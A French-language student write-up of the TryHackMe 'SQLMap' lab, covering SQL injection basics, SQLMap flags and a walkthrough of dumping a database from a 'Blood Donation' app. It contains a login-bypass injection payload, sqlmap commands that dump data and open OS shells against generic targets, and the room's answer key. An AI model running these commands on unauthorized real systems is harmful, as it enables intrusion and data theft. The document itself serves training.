

RAPPORT TRYHACKME

SQLMap : The Basics

Résumé

Ce rapport documente la complétion du room TryHackMe "SQLMap" qui couvre l'utilisation de l'outil SQLMap pour l'exploitation automatisée des vulnérabilités d'injection SQL. Le room aborde les concepts SQL de base, les différents flags de SQLMap, et inclut un challenge pratique sur une application "Blood Donation".

Objectifs d'apprentissage

- Comprendre les fondamentaux de l'injection SQL
- Maîtriser les flags et options de SQLMap
- Exploiter des requêtes GET et POST vulnérables
- Énumérer les bases de données, tables et colonnes
- Extraire des données sensibles avec `-dump`

Ibrahim Kakaev

Décembre 2025

Plateforme : TryHackMe

Room : SQLMap

Difficulté : Facile

URL : <https://tryhackme.com/room/sqlmap>

Table des matières

1	Introduction	2
1.1	Qu'est-ce que SQLMap ?	2
1.2	Fonctionnalités principales	2
1.3	Installation	2
1.4	Informations sur le Room	2
2	Task 1 : Introduction à SQL et aux Injections	3
2.1	Interaction Website-Database	3
2.2	Exemple de requête SQL	3
2.3	Principe de l'injection SQL	3
2.4	Questions et Réponses	3
3	Task 2 : SQLMap Commands	4
3.1	Aide et options de base	4
3.2	Flags principaux de SQLMap	4
3.3	Questions et Réponses - Flags	4
3.4	Exemple de commande complète	5
4	Task 3 : SQLMap Challenge - Blood Donation App	6
4.1	Contexte du challenge	6
4.2	Étape 1 : Reconnaissance avec Gobuster	6
4.3	Étape 2 : Interception de la requête	6
4.4	Contenu du fichier req.txt	6
4.5	Étape 3 : Énumération des bases de données	6
4.6	Étape 4 : Énumération des tables	6
4.7	Étape 5 : Extraction du flag	7
5	SQLMap : Méthodologie complète	8
5.1	Workflow d'exploitation	8
5.2	Méthode GET vs POST	8
5.3	Options avancées	8
6	Annexes	9
6.1	Annexe A : Cheat Sheet SQLMap	9
6.2	Annexe B : Types d'injection SQL supportés	9
6.3	Annexe C : Ressources	9
7	Récapitulatif des Réponses	10
7.1	Task 1 : Introduction	10
7.2	Task 2 : SQLMap Commands	10
7.3	Task 2 : Commande complète	10
7.4	Task 3 : Challenge Blood Donation	10

1 Introduction

1.1 Qu'est-ce que SQLMap ?

SQLMap est un outil open source de test d'intrusion développé par Bernardo Damele Assumpcao Guimaraes et Miroslav Stampar. Il automatise le processus de détection et d'exploitation des failles d'injection SQL.

1.2 Fonctionnalités principales

- Détection automatique des vulnérabilités SQLi
- Support de multiples DBMS (MySQL, PostgreSQL, Oracle, MSSQL, SQLite...)
- Extraction de données des bases de données
- Accès au système de fichiers sous-jacent
- Exécution de commandes sur l'OS via connexions out-of-band

1.3 Installation

```
# Pre-installe sur Kali Linux
sqlmap -h

# Sinon, telecharger depuis GitHub
git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python sqlmap.py -h
```

1.4 Informations sur le Room

Nom : SQLMap
Plateforme : TryHackMe
URL : <https://tryhackme.com/room/sqlmap>
Difficulté : Facile
Nombre de Tasks : 3
Compétences : SQL Injection, SQLMap, Enumération de BDD

2 Task 1 : Introduction à SQL et aux Injections

2.1 Interaction Website-Database

Les bases de données sont gérées par des DBMS (Database Management Systems) comme MySQL, PostgreSQL, SQLite ou Microsoft SQL Server. Ces systèmes comprennent le langage SQL (Structured Query Language).

2.2 Exemple de requête SQL

```
-- Requete de login typique
SELECT * FROM users
WHERE username = 'John' AND password = 'Un@detectable444';
```

2.3 Principe de l'injection SQL

L'injection SQL exploite une mauvaise validation des entrées utilisateur :

```
-- Entree malveillante
Username: ' OR 1=1 --
Password: anything

-- Requete resultante
SELECT * FROM users
WHERE username = '' OR 1=1 --' AND password = 'anything';

-- Resultat : Bypass de l'authentification !
```

2.4 Questions et Réponses

Q1 : Which language builds the interaction between a website and its database ?

R : sql

Q2 : Which boolean operator checks if at least one side of the operator is true for the condition to be true ?

R : or

Q3 : Is 1=1 in an SQL query always true ? (YEA/NAY)

R : YEA

3 Task 2 : SQLMap Commands

3.1 Aide et options de base

```
# Aide basique
sqlmap -h

# Aide avancée
sqlmap -hh

# Mode wizard (guide interactif)
sqlmap --wizard
```

3.2 Flags principaux de SQLMap

Flag	Description
-u URL	Spécifier l'URL cible
--data=DATA	Données POST à envoyer
-p PARAM	Paramètre à tester
-r FILE	Lire la requête depuis un fichier
--dbs	Énumérer les bases de données
-D DB	Sélectionner une base de données
--tables	Lister les tables
-T TABLE	Sélectionner une table
--columns	Lister les colonnes
-C COL	Sélectionner une colonne
--dump	Extraire les données
--dump-all	Extraire toutes les données
-a	Récupérer tout
--sql-shell	Shell SQL interactif
--os-shell	Shell système
--dbms=DBMS	Forcer le type de DBMS
--level=LEVEL	Niveau de tests (1-5)
--risk=RISK	Niveau de risque (1-3)
--batch	Mode non-interactif

3.3 Questions et Réponses - Flags

Q1 : Which flag or option will allow you to add a URL to the command ?

R : -u

Q2 : Which flag would you use to add data to a POST request ?

R : --data

Q3 : There are two parameters : username and password. How would you tell sqlmap to use the username parameter for the attack ?

R : -p username

Q4 : Which flag would you use to show the advanced help menu ?

R : `-hh`

Q5 : Which flag allows you to retrieve everything ?

R : `-a`

Q6 : Which flag allows you to select the database name ?

R : `-D`

Q7 : Which flag would you use to retrieve database tables ?

R : `--tables`

Q8 : Which flag allows you to retrieve a table's columns ?

R : `--columns`

Q9 : Which flag allows you to dump all the database table entries ?

R : `--dump-all`

Q10 : Which flag will give you an interactive SQL Shell prompt ?

R : `--sql-shell`

Q11 : You know the current db type is 'MYSQL'. Which flag allows you to enumerate only MySQL databases ?

R : `--dbms=mysql`

3.4 Exemple de commande complète

Q : What would be the full command of SQLMap for extracting all tables from the "members" database ? (Vulnerable URL : `http://sqlmaptesting.thm/search/cat=1`)

R : `sqlmap -u http://sqlmaptesting.thm/search/cat=1 -D members --tables`

4 Task 3 : SQLMap Challenge - Blood Donation App

4.1 Contexte du challenge

Une application "Blood Donation" a été déployée. La requête semble être vulnérable à l'injection SQL. L'objectif est de trouver le flag.

4.2 Étape 1 : Reconnaissance avec Gobuster

```
gobuster dir -u http://MACHINE_IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100
```

```
# Resultat : /blood directory trouve
```

4.3 Étape 2 : Interception de la requête

1. Naviguer vers `http://MACHINE_IP/blood`
2. Trouver le formulaire de recherche par groupe sanguin
3. Intercepter la requête POST avec Burp Suite
4. Sauvegarder la requête dans un fichier `req.txt`

4.4 Contenu du fichier req.txt

```
POST /blood/nl-search.php HTTP/1.1
Host: MACHINE_IP
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

blood_group=B+
```

4.5 Étape 3 : Énumération des bases de données

```
sqlmap -r req.txt -p blood_group --dbs
```

```
# Resultat :
# available databases [2]:
# [*] blood
# [*] information_schema
```

4.6 Étape 4 : Énumération des tables

```
sqlmap -r req.txt -p blood_group -D blood --tables
```

```
# Resultat :
# Database: blood
# [3 tables]
# +-----+
# | blood_db |
# | flag    |
# | users   |
# +-----+
```

4.7 Étape 5 : Extraction du flag

```
sqlmap -r req.txt -p blood_group -D blood -T flag --dump
```

Ou avec plus d'options :

```
sqlmap -r req.txt -p blood_group --dbms MySQL -D blood -T flag --dump
```

Q1 : What is the final flag ?

R : Le flag est extrait de la table `flag` dans la base de données `blood`.

5 SQLMap : Méthodologie complète

5.1 Workflow d'exploitation

```
# 1. Detection de la vulnerabilite
sqlmap -u "http://target.com/page?id=1"

# 2. Enumeration des bases de donnees
sqlmap -u "http://target.com/page?id=1" --dbs

# 3. Selection d'une base et enumeration des tables
sqlmap -u "http://target.com/page?id=1" -D database_name --tables

# 4. Enumeration des colonnes
sqlmap -u "http://target.com/page?id=1" -D database_name -T table_name --columns

# 5. Extraction des donnees
sqlmap -u "http://target.com/page?id=1" -D database_name -T table_name --dump

# 6. Extraction complete
sqlmap -u "http://target.com/page?id=1" -D database_name --dump-all
```

5.2 Méthode GET vs POST

Méthode GET :

```
sqlmap -u "http://target.com/search?cat=1" --dbs
```

Méthode POST :

```
# Option 1 : Avec --data
sqlmap -u "http://target.com/login" --data="user=test&pass=test" --dbs

# Option 2 : Avec fichier de requete
sqlmap -r request.txt --dbs
```

5.3 Options avancées

```
# Augmenter le niveau de test
sqlmap -u "URL" --level=5 --risk=3

# Mode batch (pas de questions)
sqlmap -u "URL" --batch

# Techniques specifiques
sqlmap -u "URL" --technique=U # UNION only
sqlmap -u "URL" --technique=B # Boolean only
sqlmap -u "URL" --technique=T # Time-based only

# Specifier le DBMS
sqlmap -u "URL" --dbms=mysql

# Obtenir un shell
sqlmap -u "URL" --os-shell
sqlmap -u "URL" --sql-shell
```

6 Annexes

6.1 Annexe A : Cheat Sheet SQLMap

Commandes essentielles SQLMap :

```
# Aide
sqlmap -h # Aide basique
sqlmap -hh # Aide avantee
sqlmap --wizard # Mode guide

# Cible
-u URL # URL cible
-r FILE # Fichier de requete
--data=DATA # Donnees POST
-p PARAM # Parametre a tester

# Enumeration
--dbs # Lister les BDD
-D DB --tables # Lister les tables
-D DB -T TBL --columns # Lister les colonnes
-D DB -T TBL --dump # Extraire les donnees
--dump-all # Tout extraire
-a # Recuperer tout

# Options
--dbms=mysql # Forcer le DBMS
--level=5 # Niveau de test max
--risk=3 # Risque max
--batch # Mode non-interactif
--threads=10 # Multi-thread

# Shells
--sql-shell # Shell SQL
--os-shell # Shell systeme
--os-pwn # Meterpreter/VNC
```

6.2 Annexe B : Types d'injection SQL supportés

- **Boolean-based blind** : Utilise des conditions vraies/fausses
- **Time-based blind** : Utilise des délais (SLEEP)
- **Error-based** : Extrait les données via messages d'erreur
- **UNION query-based** : Combine les résultats avec UNION
- **Stacked queries** : Exécute plusieurs requêtes
- **Out-of-band** : Utilise des canaux alternatifs (DNS, HTTP)

6.3 Annexe C : Ressources

- **SQLMap GitHub** : <https://github.com/sqlmapproject/sqlmap>
- **SQLMap Wiki** : <https://github.com/sqlmapproject/sqlmap/wiki>
- **TryHackMe Room** : <https://tryhackme.com/room/sqlmap>
- **OWASP SQLi** : https://owasp.org/www-community/attacks/SQL_Injection
- **PortSwigger SQLi** : <https://portswigger.net/web-security/sql-injection>

7 Récapitulatif des Réponses

7.1 Task 1 : Introduction

Question	Réponse
Language website-database	sql
Boolean operator (one side true)	or
Is 1=1 always true ?	YEA

7.2 Task 2 : SQLMap Commands

Question	Réponse
Add URL to command	-u
Add data to POST request	--data
Use username parameter	-p username
Advanced help menu	-hh
Retrieve everything	-a
Select database name	-D
Retrieve database tables	--tables
Retrieve table columns	--columns
Dump all entries	--dump-all
Interactive SQL shell	--sql-shell
Enumerate MySQL only	--dbms=mysql

7.3 Task 2 : Commande complète

Extract tables from "members" database :

```
sqlmap -u http://sqlmaptesting.thm/search/cat=1 -D members --tables
```

7.4 Task 3 : Challenge Blood Donation

Commandes pour résoudre le challenge :

```
# Enumeration des BDD
sqlmap -r req.txt -p blood_group --dbs

# Enumeration des tables
sqlmap -r req.txt -p blood_group -D blood --tables

# Extraction du flag
sqlmap -r req.txt -p blood_group -D blood -T flag --dump
```

Notes importantes

❑ Avertissement légal

SQLMap est un outil puissant qui peut causer des dommages significatifs aux systèmes. Son utilisation est strictement réglementée :

- N'utilisez SQLMap que sur des systèmes que vous possédez
- Obtenez toujours une autorisation écrite avant tout test
- Les environnements de lab (TryHackMe, HackTheBox) sont autorisés
- L'utilisation non autorisée est illégale et punissable

Bonnes pratiques :

- Toujours utiliser `--batch` en environnement de production
- Commencer avec `--level=1` puis augmenter si nécessaire
- Documenter toutes les actions effectuées
- Ne jamais utiliser `--os-shell` sans autorisation explicite

Room complété avec succès

TryHackMe - SQLMap

Ibrahim Kakaev
Décembre 2025

Dans le cadre d'une formation en cybersécurité